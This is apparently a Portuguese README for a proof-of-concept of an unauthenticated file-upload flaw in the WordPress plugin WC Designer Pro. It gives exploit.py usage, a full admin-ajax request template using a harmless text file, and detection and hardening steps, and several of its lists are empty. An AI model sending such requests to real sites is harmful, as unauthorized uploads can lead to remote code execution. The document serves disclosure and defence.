
Uma prova de conceito não destrutiva para uma vulnerabilidade de upload arbitrário de arquivos não autenticado que afeta o plugin WC Designer Pro do WordPress.
O WC Designer Pro contém uma vulnerabilidade de upload arbitrário de arquivos não autenticado em uma ação AJAX exposta por meio do endpoint admin-ajax.php do WordPress.
O manipulador afetado processa metadados de arquivo e conteúdos de arquivo controlados pelo usuário sem aplicar autenticação, autorização, validação de extensão, validação de tipo MIME ou restrições de nome de arquivo no lado do servidor.
Em configurações vulneráveis, um atacante não autenticado pode conseguir enviar um arquivo executável pelo servidor para um diretório acessível pela web. A exploração bem-sucedida pode resultar em execução remota de código com os privilégios do processo do servidor web.
A faixa exata de versões afetadas, o identificador CVE e a pontuação CVSS só devem ser publicados após verificação independente.
A exploração bem-sucedida pode permitir que um atacante não autenticado:
O impacto final depende da configuração do servidor web, das regras de execução de PHP, das permissões do sistema de arquivos e dos controles de segurança implantados pelo provedor de hospedagem.
A faixa de versões afetadas está atualmente em validação.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
Não afirme que todas as versões são afetadas, a menos que testes ou confirmação do fornecedor sustentem essa conclusão.
O fluxo de upload vulnerável aparentemente confia em valores controlados pelo atacante fornecidos à seguinte ação AJAX:
wcdp_save_canvas_design_ajax
A solicitação contém metadados de arquivo, como:
A vulnerabilidade existe quando o servidor aceita esses valores sem executar todos os seguintes controles:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
O caminho de upload observado segue esta estrutura:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
O caminho exato pode variar dependendo da versão do plugin, da configuração do WordPress e do ambiente do servidor.
pipEsta prova de conceito não deve ser usada contra sistemas de terceiros sem autorização explícita por escrito.
Clone o repositório:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Crie e ative um ambiente virtual:
python3 -m venv .venv
source .venv/bin/activate
No Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Instale as dependências:
pip install -r requirements.txt
Exemplo de requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
A prova de conceito deve ser executada apenas contra um único alvo de laboratório autorizado.
python3 exploit.py --url https://wordpress-lab.example
Para uma verificação não destrutiva:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Exemplo de arquivo de verificação:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
Use o comando de ajuda integrado para visualizar os argumentos suportados:
python3 exploit.py --help
Exemplo de saída:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
A solicitação invoca:
action=wcdp_save_canvas_design_ajax
Uma estrutura de solicitação simplificada é mostrada abaixo:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
Este exemplo usa intencionalmente um arquivo de texto não executável.
Uma solicitação bem-sucedida pode retornar uma resposta semelhante a:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Uma resposta bem-sucedida por si só não prova execução remota de código. O pesquisador deve confirmar separadamente que:
O procedimento de verificação recomendado é:
.txt inofensivo.Evite enviar web shells ou payloads de execução de comandos quando um arquivo de marcação inofensivo for suficiente para demonstrar a vulnerabilidade.
Um relatório válido deve conter:
Os administradores devem inspecionar o seguinte diretório:
/wp-content/uploads/wcdp-uploads/temp/
Os indicadores potenciais incluem:
.php, .phtml, .phar ou similares.admin-ajax.php usando a ação AJAX afetada.Exemplo de pesquisa em logs:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Exemplo de pesquisa no sistema de arquivos:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Os administradores do site devem:
Para Nginx, negue a execução de PHP dentro dos uploads:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Para Apache, coloque uma regra apropriada dentro do diretório de uploads:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Esses controles são medidas de defesa em profundidade e não substituem a correção do código vulnerável do plugin.
Os mantenedores do plugin devem:
current_user_can().wp_check_filetype_and_ext().Este repositório destina-se exclusivamente a:
Não use este código para acessar, modificar, interromper ou comprometer sistemas sem autorização explícita.
O autor não é responsável pelo uso não autorizado, ilegal ou abusivo deste material. Os usuários são os únicos responsáveis por cumprir as leis, contratos, regras de engajamento e requisitos de divulgação coordenada de vulnerabilidades aplicáveis.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
Não publique um CVE provisório como se fosse um identificador atribuído.
Quando um CVE for atribuído, substitua o espaço reservado pelo registro oficial:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
A pesquisa de segurança deve reduzir riscos, não criá-los.
Feito para testes de segurança autorizados por m2hcz.
| Property | Value |
|---|
| Produto | WC Designer Pro |
| Plataforma | WordPress |
| Classe de vulnerabilidade | Upload arbitrário irrestrito de arquivos |
| CWE | CWE-434 |
| Autenticação necessária | Não |
| Interação do usuário necessária | Não |
| Impacto potencial | Execução remota de código |
| Complexidade do ataque | Baixa |
| Componente vulnerável | Manipulador de upload AJAX do WordPress |
| Ação AJAX | wcdp_save_canvas_design_ajax |